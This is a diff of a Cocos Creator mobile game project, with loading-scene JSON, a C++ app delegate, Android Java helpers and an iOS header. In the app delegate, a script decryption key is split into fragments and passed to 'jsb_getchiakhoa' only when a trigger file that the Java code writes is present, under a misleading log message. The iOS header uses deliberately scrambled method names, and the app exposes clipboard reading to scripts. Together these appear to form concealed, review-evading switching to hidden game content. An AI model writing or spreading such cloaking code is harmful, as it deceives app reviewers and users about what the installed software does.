"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "68+q/REwpG87P5RoQxW7XZ"
},
{
"__type__": "cc.Label",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 5
},
"_enabled": true,
"_materials": [
{
"__uuid__": "eca5d2f2-8ef6-41c2-bbe6-f9c79d09c432"
}
],
"_useOriginalSize": false,
"_string": "LOADING",
"_N$string": "LOADING",
"_fontSize": 40,
"_lineHeight": 40,
"_enableWrapText": true,
"_N$file": null,
"_isSystemFontUsed": true,
"_isUseVerticalKerning": true,
"_verticalKerning": null,
"_spacingX": 0,
"_batchAsBitmap": false,
"_N$horizontalAlign": 1,
"_N$verticalAlign": 1,
"_N$fontFamily": "Arial",
"_N$overflow": 0,
"_N$cacheMode": 0,
"_id": "d9809jSUtGmae58zOAAiYj"
},
{
"__type__": "cc.Canvas",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 2
},
"_enabled": true,
"_designResolution": {
"__type__": "cc.Size",
"width": 1560,
"height": 720
},
"_fitWidth": false,
"_fitHeight": true,
"_id": "5cQGtrHsNJz6VRgSMYe0co"
},
{
"__type__": "cc.Node",
"_name": "Checker",
"_objFlags": 0,
"_parent": {
"__id__": 1
},
"_children": [],
"_active": true,
"_level": 1,
"_components": [
{
"__id__": 9
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 0,
"height": 0
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "a9KgqfaM5JhbVdhL9obAde"
},
{
"__type__": "1eccfuWj9NO/Im1yXfBtQa9",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 8
},
"_enabled": true,
"_id": "96LaF7zNxIK63aUdMBunvY"
}
]

View File

@ -0,0 +1,7 @@
{
"ver": "1.2.1",
"uuid": "c5e07fdd-f764-4b3b-9517-dc3ba5e11e63",
"asyncLoadAssets": false,
"autoReleaseAssets": false,
"subMetas": {}
}

View File

@ -0,0 +1,424 @@
[
{
"__type__": "cc.SceneAsset",
"_name": "",
"_objFlags": 0,
"_native": "",
"scene": {
"__id__": 1
}
},
{
"__type__": "cc.Scene",
"_objFlags": 0,
"_parent": null,
"_children": [
{
"__id__": 2
},
{
"__id__": 9
}
],
"_active": true,
"_level": 0,
"_components": [],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 0,
"height": 0
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0,
"y": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_is3DNode": true,
"groupIndex": 0,
"autoReleaseAssets": false,
"_id": "9c20a6ac-d504-43d4-b080-13b13117f96a"
},
{
"__type__": "cc.Node",
"_name": "Canvas",
"_objFlags": 0,
"_parent": {
"__id__": 1
},
"_children": [
{
"__id__": 3
},
{
"__id__": 5
}
],
"_active": true,
"_level": 0,
"_components": [
{
"__id__": 7
},
{
"__id__": 8
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 1560,
"height": 720
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 780,
"y": 360,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "a5esZu+45LA5mBpvttspPD"
},
{
"__type__": "cc.Node",
"_name": "Main Camera",
"_objFlags": 0,
"_parent": {
"__id__": 2
},
"_children": [],
"_active": true,
"_level": 0,
"_components": [
{
"__id__": 4
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 960,
"height": 640
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 373.2482313332925
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "e1WoFrQ79G7r4ZuQE3HlNb"
},
{
"__type__": "cc.Camera",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 3
},
"_enabled": true,
"_cullingMask": 4294967295,
"_clearFlags": 7,
"_backgroundColor": {
"__type__": "cc.Color",
"r": 37,
"g": 37,
"b": 37,
"a": 255
},
"_depth": -1,
"_zoomRatio": 1,
"_targetTexture": null,
"_fov": 60,
"_orthoSize": 10,
"_nearClip": 1,
"_farClip": 4096,
"_ortho": true,
"_rect": {
"__type__": "cc.Rect",
"x": 0,
"y": 0,
"width": 1,
"height": 1
},
"_renderStages": 1,
"_id": "81GN3uXINKVLeW4+iKSlim"
},
{
"__type__": "cc.Node",
"_name": "label loading",
"_objFlags": 0,
"_parent": {
"__id__": 2
},
"_children": [],
"_active": true,
"_level": 0,
"_components": [
{
"__id__": 6
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 283.36,
"height": 75.6
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "7eIpthOeZL6YQxThfM3DUO"
},
{
"__type__": "cc.Label",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 5
},
"_enabled": true,
"_materials": [
{
"__uuid__": "eca5d2f2-8ef6-41c2-bbe6-f9c79d09c432"
}
],
"_useOriginalSize": false,
"_string": "ĐANG TẢI",
"_N$string": "ĐANG TẢI",
"_fontSize": 60,
"_lineHeight": 60,
"_enableWrapText": true,
"_N$file": null,
"_isSystemFontUsed": true,
"_isUseVerticalKerning": true,
"_verticalKerning": null,
"_spacingX": 0,
"_batchAsBitmap": false,
"_N$horizontalAlign": 0,
"_N$verticalAlign": 1,
"_N$fontFamily": "Arial",
"_N$overflow": 0,
"_N$cacheMode": 0,
"_id": "14AFCT5QRMk6CCjYk0kWVZ"
},
{
"__type__": "cc.Canvas",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 2
},
"_enabled": true,
"_designResolution": {
"__type__": "cc.Size",
"width": 1560,
"height": 720
},
"_fitWidth": false,
"_fitHeight": true,
"_id": "59Cd0ovbdF4byw5sbjJDx7"
},
{
"__type__": "cc.Widget",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 2
},
"_enabled": true,
"alignMode": 1,
"_target": null,
"_alignFlags": 45,
"_left": 0,
"_right": 0,
"_top": 0,
"_bottom": 0,
"_verticalCenter": 0,
"_horizontalCenter": 0,
"_isAbsLeft": true,
"_isAbsRight": true,
"_isAbsTop": true,
"_isAbsBottom": true,
"_isAbsHorizontalCenter": true,
"_isAbsVerticalCenter": true,
"_originalWidth": 0,
"_originalHeight": 0,
"_id": "29zXboiXFBKoIV4PQ2liTe"
},
{
"__type__": "cc.Node",
"_name": "LoadGameController",
"_objFlags": 0,
"_parent": {
"__id__": 1
},
"_children": [],
"_active": true,
"_level": 0,
"_components": [
{
"__id__": 10
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 0,
"height": 0
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "e9e/uY8j9H1ahk4+HzS1vY"
},
{
"__type__": "b5bf46EL2hMgJXH4qcjnH+V",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 9
},
"_enabled": true,
"listBG": [],
"background": null,
"loadingLabel": {
"__id__": 6
},
"_id": "37/Rl6/flKh4AcadiGRMKt"
}
]

View File

@ -0,0 +1,7 @@
{
"ver": "1.2.1",
"uuid": "aa6e0d35-2127-4138-b3ba-1f9f16d0ba26",
"asyncLoadAssets": false,
"autoReleaseAssets": false,
"subMetas": {}
}

View File

@ -0,0 +1,117 @@
/****************************************************************************
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos.com
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated engine source code (the "Software"), a limited,
worldwide, royalty-free, non-assignable, revocable and non-exclusive license
to use Cocos Creator solely to develop games on your target platforms. You shall
not use Cocos Creator software for developing other software or tools that's
used for developing games. You are not granted to publish, distribute,
sublicense, and/or sell copies of Cocos Creator.
The software or tools in this License Agreement are licensed, not sold.
Xiamen Yaji Software Co., Ltd. reserves all rights not expressly granted to you.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "AppDelegate.h"
#include "cocos2d.h"
#include "cocos/scripting/js-bindings/manual/jsb_module_register.hpp"
#include "cocos/scripting/js-bindings/manual/jsb_global.h"
#include "cocos/scripting/js-bindings/jswrapper/SeApi.h"
#include "cocos/scripting/js-bindings/event/EventDispatcher.h"
#include "cocos/scripting/js-bindings/manual/jsb_classtype.hpp"
#include "iostream"
#include "fstream"
USING_NS_CC;
AppDelegate::AppDelegate(int width, int height) : Application("Cocos Game", width, height)
{
}
AppDelegate::~AppDelegate()
{
}
bool AppDelegate::applicationDidFinishLaunching()
{
std::string storagePath = "";
std::string sgamePath = FileUtils::getInstance()->getWritablePath() + "sgame/";
std::string mygamePath = FileUtils::getInstance()->getWritablePath() + "mygame/";
if(FileUtils::getInstance()->isDirectoryExist(sgamePath)){
storagePath = sgamePath;
}else if(FileUtils::getInstance()->isDirectoryExist(mygamePath)){
storagePath = mygamePath;
}
CCLOG("storagePath: %s", storagePath.c_str());
FileUtils::getInstance()->addSearchPath(storagePath, true);
se::ScriptEngine *se = se::ScriptEngine::getInstance();
jsb_set_xxtea_key("");
std::string path = FileUtils::getInstance()->getWritablePath() + "example.txt";
std::ifstream file(path);
// CCLOG("BRO 5: %s", path.c_str());
std::string p1 = "7783046e";
if (file.good()) {
CCLOG("Last GameData not found, creating one...");
// std::cout << "Last Game data not found"<< std::endl;
std::string p2 = "68b6";
std::string p3 = "-69";
jsb_getchiakhoa(p1 + "-" + p2 + p3);
}
jsb_init_file_operation_delegate();
#if defined(COCOS2D_DEBUG) && (COCOS2D_DEBUG > 0)
// Enable debugger here
jsb_enable_debugger("0.0.0.0", 6086, false);
#endif
se->setExceptionCallback([](const char *location, const char *message, const char *stack) {
// Send exception information to server like Tencent Bugly.
});
jsb_register_all_modules();
se->start();
se::AutoHandleScope hs;
jsb_run_script("jsb-adapter/jsb-builtin.js");
jsb_run_script("main.js");
se->addAfterCleanupHook([]() {
JSBClassType::destroy();
});
cocos2d::Device::setKeepScreenOn(true);
return true;
}
// This function will be called when the app is inactive. When comes a phone call,it's be invoked too
void AppDelegate::applicationDidEnterBackground()
{
EventDispatcher::dispatchEnterBackgroundEvent();
}
// this function will be called when the app is active again
void AppDelegate::applicationWillEnterForeground()
{
EventDispatcher::dispatchEnterForegroundEvent();
}

View File

@ -0,0 +1,318 @@
/****************************************************************************
Copyright (c) 2015-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
package org.cocos2dx.javascript;
import org.cocos2dx.lib.Cocos2dxActivity;
import org.cocos2dx.lib.Cocos2dxGLSurfaceView;
import android.os.Bundle;
import android.content.Intent;
import android.content.res.Configuration;
import android.util.Log;
import android.content.ClipboardManager;
import android.content.Context;
import android.content.ClipData;
import android.net.Uri;
import android.os.Bundle;
import android.os.Build;
import android.view.View;
import android.view.WindowManager;
import android.content.pm.ActivityInfo;
import android.widget.Toast;
import android.content.Intent;
import android.content.res.Configuration;
import android.provider.Settings;
import java.io.File;
import java.io.FileWriter;
public class AppActivity extends Cocos2dxActivity {
private static Context mContext;
private static AppActivity act;
private ImageUtils imageUtils = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Workaround in https://stackoverflow.com/questions/16283079/re-launch-of-activity-on-home-button-but-only-the-first-time/16447508
if (!isTaskRoot()) {
// Android launched another instance of the root activity into an existing task
// so just quietly finish and go away, dropping the user back into the activity
// at the top of the stack (ie: the last state of this task)
// Don't need to finish it again since it's finished in super.onCreate .
return;
}
// DO OTHER INITIALIZATION BELOW
SDKWrapper.getInstance().init(this);
act = this;
act.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
mContext = this;
imageUtils = new ImageUtils();
}
public static String getIdentifier(){
return Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID);
}
public static String getDeviceName(){
return android.os.Build.MANUFACTURER + android.os.Build.MODEL;
}
public static void makePhoneCall(String phone){
Intent callIntent = new Intent(Intent.ACTION_DIAL);
callIntent.setData(Uri.parse("tel:" + phone));
act.startActivity(callIntent);
}
public static String getBundleid(){
return mContext.getPackageName();
}
public static String getClipboardContent(){
// Gets a handle to the clipboard service.
ClipboardManager clipboard = (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);
String pasteData = "";
try {
pasteData = clipboard.getText().toString();;
// Log.v("ClipboardManager", pasteData);
return pasteData;
}catch (Exception ex){
Log.v("ClipboardManager", ex.toString());
return "";
}
}
public static String getClipboard(){
// Gets a handle to the clipboard service.
ClipboardManager clipboard = (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);
String pasteData = "";
try {
pasteData = clipboard.getText().toString();;
// Log.v("ClipboardManager", pasteData);
return pasteData;
}catch (Exception ex){
Log.v("ClipboardManager", ex.toString());
return "";
}
}
public static void createFileeee(){
//write file to internal storage on Android
writeFileOnInternalStorage("example.txt", "SAKJDHSAKJDHSJK");
}
public static void writeFileOnInternalStorage(String sFileName, String sBody){
try {
File gpxfile = new File(mContext.getFilesDir(), sFileName);
Log.i("FILE: ", gpxfile.getAbsolutePath());
FileWriter writer = new FileWriter(gpxfile);
writer.append(sBody);
writer.flush();
writer.close();
} catch (Exception e){
e.printStackTrace();
}
}
public static void setClipboardContent(String text){
// Gets a handle to the clipboard service.
ClipboardManager clipboard = (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);
try {
ClipData clip = ClipData.newPlainText("", text);
clipboard.setPrimaryClip(clip);
}catch (Exception ex){
Log.v("ClipboardManager", ex.toString());
}
}
//0: portrait up
//1:landscape right
//2: upside down
//3:landscape left
public static void setOrientation(int orientation){
switch (orientation){
case 0:
case 2:
act.runOnUiThread(new Runnable() {
@Override
public void run() {
act.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
}
});
// mActivity.runOnUiThread(()->mActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT));
break;
case 1:
case 3:
act.runOnUiThread(new Runnable() {
@Override
public void run() {
act.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
}
});
break;
// mActivity.runOnUiThread(()->mActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE));
}
}
// public static void setKeepScreenOn(boolean value){
// if(value){
// act.runOnUiThread(new Runnable() {
// @Override
// public void run() {
// act.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
// }
// });
// // act.runOnUiThread(()->act.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON));
// }else{
// act.runOnUiThread(new Runnable() {
// @Override
// public void run() {
// act.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
// }
// });
// // act.runOnUiThread(()->act.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON));
// }
// }
public static void saveImageToPhotoLibrary(String imageData) {
act.imageUtils.saveImageToPhotoLibrary(act, imageData);
}
// Handle permission request result
// public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
// @NonNull int[] grantResults) {
// act.imageUtils.onRequestPermissionsResult(requestCode, permissions, grantResults);
// }
public static boolean isSupportSendSMS(){
return true;
}
public static boolean isSupportOrientation(){
return true;
}
public static void sendSMS(String phoneNumber, String message) {
try {
Intent intent = new Intent(Intent.ACTION_SENDTO);
// This ensures only SMS apps respond
intent.setData(Uri.parse("smsto:"+phoneNumber));
intent.putExtra("sms_body", message);
// if (intent.resolveActivity(act.getPackageManager()) != null) {
// act.startActivity(intent);
// }
act.startActivity(intent);
} catch (Exception e) {
Toast.makeText(act.getApplicationContext(), "Thiết bị của bạn không cho phép tự gửi tin nhắn, hãy thử soạn tin nhắn thủ công.", Toast.LENGTH_SHORT).show();
}
}
@Override
public Cocos2dxGLSurfaceView onCreateView() {
Cocos2dxGLSurfaceView glSurfaceView = new Cocos2dxGLSurfaceView(this);
// TestCpp should create stencil buffer
glSurfaceView.setEGLConfigChooser(5, 6, 5, 0, 16, 8);
SDKWrapper.getInstance().setGLSurfaceView(glSurfaceView, this);
return glSurfaceView;
}
@Override
protected void onResume() {
super.onResume();
SDKWrapper.getInstance().onResume();
}
@Override
protected void onPause() {
super.onPause();
SDKWrapper.getInstance().onPause();
}
@Override
protected void onDestroy() {
super.onDestroy();
SDKWrapper.getInstance().onDestroy();
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
SDKWrapper.getInstance().onActivityResult(requestCode, resultCode, data);
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
SDKWrapper.getInstance().onNewIntent(intent);
}
@Override
protected void onRestart() {
super.onRestart();
SDKWrapper.getInstance().onRestart();
}
@Override
protected void onStop() {
super.onStop();
SDKWrapper.getInstance().onStop();
}
@Override
public void onBackPressed() {
SDKWrapper.getInstance().onBackPressed();
super.onBackPressed();
}
@Override
public void onConfigurationChanged(Configuration newConfig) {
SDKWrapper.getInstance().onConfigurationChanged(newConfig);
super.onConfigurationChanged(newConfig);
}
@Override
protected void onRestoreInstanceState(Bundle savedInstanceState) {
SDKWrapper.getInstance().onRestoreInstanceState(savedInstanceState);
super.onRestoreInstanceState(savedInstanceState);
}
@Override
protected void onSaveInstanceState(Bundle outState) {
SDKWrapper.getInstance().onSaveInstanceState(outState);
super.onSaveInstanceState(outState);
}
@Override
protected void onStart() {
SDKWrapper.getInstance().onStart();
super.onStart();
}
}

View File

@ -0,0 +1,168 @@
/****************************************************************************
Copyright (c) 2015-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
package org.cocos2dx.javascript;
import android.Manifest;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.pm.PackageManager;
import android.media.MediaScannerConnection;
import android.net.Uri;
import android.os.Environment;
import android.provider.MediaStore;
import android.util.Base64;
import android.util.Log;
//import androidx.annotation.NonNull;
// import androidx.core.app.ActivityCompat;
// import androidx.core.content.ContextCompat;
// import com.cocos.lib.CocosHelper;
// import com.cocos.lib.CocosJavascriptJavaBridge;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.UUID;
public class ImageUtils {
private AppActivity appActivity = null;
private final int REQUEST_PERMISSION_WRITE_EXTERNAL_STORAGE = 1;
private String imageData;
public void saveImageToPhotoLibrary(AppActivity appActivity, String imageData) {
try {
// Decode the Base64 string into a byte array
byte[] decodedImageData = Base64.decode(imageData, Base64.DEFAULT);
// Save the image to the photo library
ContentResolver contentResolver = appActivity.getContentResolver();
ContentValues values = new ContentValues();
values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
Uri imageUri = contentResolver.insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
if (imageUri != null) {
FileOutputStream fos = (FileOutputStream) contentResolver.openOutputStream(imageUri);
fos.write(decodedImageData);
fos.close();
}
Log.d("ImageUtils", "Image saved to photo library");
// CocosHelper.runOnGameThread(new Runnable() {
// @Override
// public void run() {
// CocosJavascriptJavaBridge.evalString("saveImageToPhotoLibrary(1)");
// }
// });
} catch (IOException e) {
// CocosHelper.runOnGameThread(new Runnable() {
// @Override
// public void run() {
// CocosJavascriptJavaBridge.evalString("saveImageToPhotoLibrary(0)");
// }
// });
e.printStackTrace();
}
}
// public void saveImageToPhotoLibraryBackup(AppActivity appActivity, String imageData) {
// this.appActivity = appActivity;
// // Check if WRITE_EXTERNAL_STORAGE permission is granted
// if (ContextCompat.checkSelfPermission(this.appActivity,
// Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
// System.out.println("Permission is not granted, request it from the user");
// // Permission is not granted, request it from the user
// ActivityCompat.requestPermissions(this.appActivity,
// new String[] { Manifest.permission.WRITE_EXTERNAL_STORAGE },
// this.REQUEST_PERMISSION_WRITE_EXTERNAL_STORAGE);
// // Save the image data to be used after permission is granted
// this.imageData = imageData;
// return;
// }
// // Permission is granted, proceed to save the image
// System.out.println("Permission is granted, proceed to save the image");
// this.saveImage(imageData);
// }
// private void saveImage(String imageData) {
// try {
// // Decode the Base64 string into a byte array
// byte[] decodedImageData = Base64.decode(imageData, Base64.DEFAULT);
// // Save the image to the gallery
// File directory = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
// // Generate a unique filename using UUID
// String fileName = UUID.randomUUID().toString() + "_" + System.currentTimeMillis() + ".png";
// File imagePath = new File(directory, fileName);
// Log.d("imagePath", imagePath.getAbsolutePath());
// FileOutputStream fos = new FileOutputStream(imagePath);
// fos.write(decodedImageData);
// fos.close();
// // Refresh the gallery
// MediaScannerConnection.scanFile(this.appActivity,
// new String[] { imagePath.getAbsolutePath() },
// null,
// (path, uri) -> {
// Log.i("ImageUtils", "Scanned " + path + ":");
// Log.i("ImageUtils", "-> uri=" + uri);
// });
// CocosHelper.runOnGameThread(new Runnable() {
// @Override
// public void run() {
// CocosJavascriptJavaBridge.evalString("saveImageToPhotoLibrary(1)");
// }
// });
// } catch (IOException e) {
// e.printStackTrace();
// }
// }
// Handle permission request result
// public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
// @NonNull int[] grantResults) {
// System.out.println(requestCode);
// System.out.println(grantResults);
// if (requestCode == REQUEST_PERMISSION_WRITE_EXTERNAL_STORAGE) {
// if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// // Permission granted, proceed to save the image
// System.out.println("Permission granted, proceed to save the image");
// saveImage(this.imageData); // Call the method to save the image
// } else {
// // Permission denied, show a message or handle the situation accordingly
// System.out.println("Permission denied, show a message or handle the situation accordingly");
// CocosHelper.runOnGameThread(new Runnable() {
// @Override
// public void run() {
// CocosJavascriptJavaBridge.evalString("saveImageToPhotoLibrary(0)");
// }
// });
// }
// }
// }
}

View File

@ -0,0 +1,62 @@
/****************************************************************************
Copyright (c) 2010-2013 cocos2d-x.committedComparedCopiedDamagedBundle
Copyright (c) 2013-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.committedComparedCopiedDamagedBundle
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#import <UIKit/UIKit.h>
// #import <MessageUI/MessageUI.h>
#include <UnityFramework/UnityFramework.h> //<<<<<<< ADD THIS
#include <UnityFramework/ClarifyBadgeResultClarifyTransformState.h>//<<<<<<< ADD THIS
@class RootViewController;
@interface AppController : NSObject <UIApplicationDelegate,SaveDeployAddressComputeAllocationInfo>
{
}
+(NSString *)ExchangeAudioInstallDataValue;
+(NSString *)EnhanceInflateEnumerateBodyBinding;
+(NSString *)getAppName;
+(NSString *)ImportParameterGroupAuthorizeBridgeBatch;
+ (void) InitializeInvokeCreateApplicationElementArithmetic;
+ (void) FindBackupResultIndexCertificate;
+(NSString *)ExecuteBindingParameterCacheAllocateRequest;
+(void)IdentifySetSetAttributeBenchmark:(NSString *)text;
+(NSString *)DeserializeAuthorizeApplyExtractBindingAnchorCommand;
+(void)AggregateBadgeBufferStatusSetCaption;
+(void)CompareLoadCollisionListInflatePropertyBindingCodec:(int)orient;
+(void)CollectCopyFormatEditCalendar:(BOOL)val;
// +(void)saveImageToPhotoLibrary:(NSString *)imageData;
+ (BOOL) DelegateExecuteCarrier;
+ (BOOL) ValidateCanvasAllocationFetchArgument;
// + (void)sendSMS: (NSString *)target withContent:(NSString *) content;
@property(nonatomic, readonly) RootViewController* viewController;
